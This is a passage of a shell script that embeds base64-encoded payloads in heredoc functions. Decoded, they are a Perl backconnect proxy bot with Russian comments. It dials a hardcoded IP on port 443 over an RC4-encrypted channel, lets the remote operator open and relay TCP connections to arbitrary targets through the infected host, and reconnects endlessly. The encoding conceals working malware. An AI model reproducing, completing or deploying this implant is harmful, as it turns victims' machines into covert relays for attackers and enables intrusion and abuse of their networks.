ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_56() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDMnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
